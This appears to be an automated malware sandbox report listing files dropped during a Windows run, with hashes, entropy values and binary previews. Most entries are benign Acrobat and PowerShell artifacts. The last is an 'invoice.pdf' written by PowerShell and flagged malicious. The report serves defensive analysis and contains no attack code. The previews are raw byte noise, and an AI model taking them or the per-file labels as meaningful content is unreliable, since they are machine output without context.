Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"940aca5c55540a85a7700b4d1e0a2da4","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736546253000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"67ffb641a007a9278bdee608c6d10feb","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736546253000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"26a164e3f992004239e30b8662bf826a","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736546253000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"6e00c0a90363fa7027aeead0ea9917ce","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736546253000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"e2b7fbf56ea9e9950ead79b0b3a7d45a","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736546253000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"1464a3f83f1249a7c207d0577bc84217","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.146672005787057
Encrypted:	false
SSDEEP:	48:TFl2GL7msW8BaVXc+XcGNFlRYIX2v3kN8Bab:/VmsWQqXc+XckFPYIX2YQc
MD5:	8671D75644D33533526E9D6BBB859887
SHA1:	022329D2EF3BBDE8C4E63487BAFFCA826F6BC3A7
SHA-256:	C3B911F5ED055077400602F5D246F25CCE2CC554331899752C8672AC5BDC647A
SHA-512:	3247C5AE4BE2FEB86EEDE030839730FDC290840BA9113796E0D8F5AB96FA206461D94F8E7020FD6930879A138386A65740D187F2D996C1567FFE60C9377E5302
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.553499049322581
Encrypted:	false
SSDEEP:	48:7MFo8Ba6Xc+XcGNFlRYIX2vBqVl2GL7msU:7eoQFXc+XckFPYIX2paVmsU
MD5:	BFEB36BBEF4C95BBD11EFCF68C1FEDAC
SHA1:	F3E02544E6ACFEF7F3660C57219FD4D30915CF2B
SHA-256:	0C93632E014EA0B9B884A42C1229FEF7B8DACA75DA5805C0C47715920922A35F
SHA-512:	498BD9650AF3B6D7AFD36EC087E160B93B552DAAF8F2771326300943C622B97ADF6647124A665ED92F1CD118113607D536D2D8541C289E79F024153D8E81560C
Malicious:	false
Preview:	.... .c........x..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEggcZtwpFpuoYmrWdwLvVe8igaYyu:6a6TZ44ADEgcnwpFAod+87aK
MD5:	FDD58EBD77BE6A03E0EA9070248B6BEE
SHA1:	C49ECEB2E9596D7E0B8E729290F5ADE4CC1C001D
SHA-256:	8895DBA124EED9158D466AC54F706B3831DCC4717202E5ACA1D8A4DCB2A47DD5
SHA-512:	2174793FCE4DEA71DC1205431C335C01F740A9E22A8ED2A337A78F139E3982717E135B73D9C9103DAB02C784DA3DD20AE1460BD36608E79C7ECD1321AF89529A
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSI87b6f.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.518261198325562
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClErN+g:Qw946cPbiOxDlbYnuRK+bDrNz
MD5:	EBD6D1EDC58A447D1A88FE87FDE2026D
SHA1:	908B6A6ADD54A25BA1301A0E056045110B4C96D5
SHA-256:	4A0A9948FAF304F367F518E2077983A160D552486AD80A8E57B98C10E047D901
SHA-512:	9CA78872230E2E0638C75A31622CD07E1DB5304769DBE31A0B6E47F86E743F5D015018AE06D92EC09CA461965F2562C6D8A776359AC3A0AACCD5347188C2917A
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.6.:.5.7.:.3.5. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ilalqd3x.5lk.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zceyei1h.0yc.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A919p45g_1vuaie0_4a4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A941inny_1vuaie1_4a4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 16-57-26-009.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.369323587896318
Encrypted:	false
SSDEEP:	384:KQWFfNeLFGP4GfZviYSf5zAQ8fGPXMkDm1ZFfnXn1j9pHqVS0FQK0B0FI0qjyL7X:Xvx
MD5:	CE2DBC9E484FC255151890171CF766C5
SHA1:	91716FDC40BED3254996AEEA739C07BBEB134F10
SHA-256:	543828F8DEDBD4388EE178EB434AC59B81577ACE4BC697DBF844980CA15212E7
SHA-512:	C186E4D0B43F693A9EF41DC6505CE546D43EA9FB782C52F77B3CC985B9D2DD7B401DD6A34D07E41C73DC547358BE3E3350CCC7C1A16C3F7B226BEED228A4883A
Malicious:	false
Preview:	SessionID=9181cfc6-477d-41d8-a05f-64b6b784a503.1736546246034 Timestamp=2025-01-10T16:57:26:034-0500 ThreadID=7724 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=9181cfc6-477d-41d8-a05f-64b6b784a503.1736546246034 Timestamp=2025-01-10T16:57:26:042-0500 ThreadID=7724 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=9181cfc6-477d-41d8-a05f-64b6b784a503.1736546246034 Timestamp=2025-01-10T16:57:26:042-0500 ThreadID=7724 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=9181cfc6-477d-41d8-a05f-64b6b784a503.1736546246034 Timestamp=2025-01-10T16:57:26:042-0500 ThreadID=7724 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=9181cfc6-477d-41d8-a05f-64b6b784a503.1736546246034 Timestamp=2025-01-10T16:57:26:043-0500 ThreadID=7724 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.396070326459299
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcbkpcbEIxTcbF:V3fOCIdJDeikxU
MD5:	B6AA47AC5874E1C8165298D80F16B697
SHA1:	A63B773E2AB067F518425A5C94D46D05E4DA4595
SHA-256:	8F7551B2C6E61C9CC0E13E60FE7E78288662F04B3D55C4D7457389994F2F7799
SHA-512:	29B6DA41F7369FFF3FB6C14F1C13B1AB91600AEB20C28ACC9327CD5820E8D8A4A3FB1C516D1A285C51FFB84B07E8CEBCB2ABD705F9E320EC5A10B8EE16D629EC
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\4e4883a5-8213-4c64-9cf5-4bd485d1553f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\a4437e7b-e8ef-4d60-85f4-29f855a3c43a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/rwYIGNP4mOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:TwZG6bWLxBGZN3mlind9i4ufFXpAXkru
MD5:	95F182500FC92778102336D2D5AADCC8
SHA1:	BEC510B6B3D595833AF46B04C5843B95D2A0A6C9
SHA-256:	9F9C041D7EE1DA404E53022D475B9E6D5924A17C08D5FDEC58C0A1DCDCC4D4C9
SHA-512:	D7C022459486D124CC6CDACEAD8D46E16EDC472F4780A27C29D98B35AD01A9BA95F62155433264CC12C32BFF384C7ECAFCE0AC45853326CBC622AE65EE0D90BA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\a8258128-0eec-47cb-b936-a87576c9b096.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\f89d4a01-7613-4ba0-99eb-4b32137b7286.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o6dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07WWLaGZDwYIGNPJe:JVK3mlind9i4ufFXpAXkrfUs0qWLaGZo
MD5:	E2D3898B252F685B6C187FE7C62492A3
SHA1:	1FA2F497CE53AE15EDD9D8CE9B72546AE5541189
SHA-256:	9E695E2A257B6EC46781DB95275FEEA6AC9D081B5AFE73E53C84443CFB902149
SHA-512:	3577696982A2D84265EB08A626D0FF002AE2E20764460D060853B306E92CE4D44EB2BD3B7487C661D7797997DE9DB2FDCD48A5C673D9B50B484810D71F8477D3
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
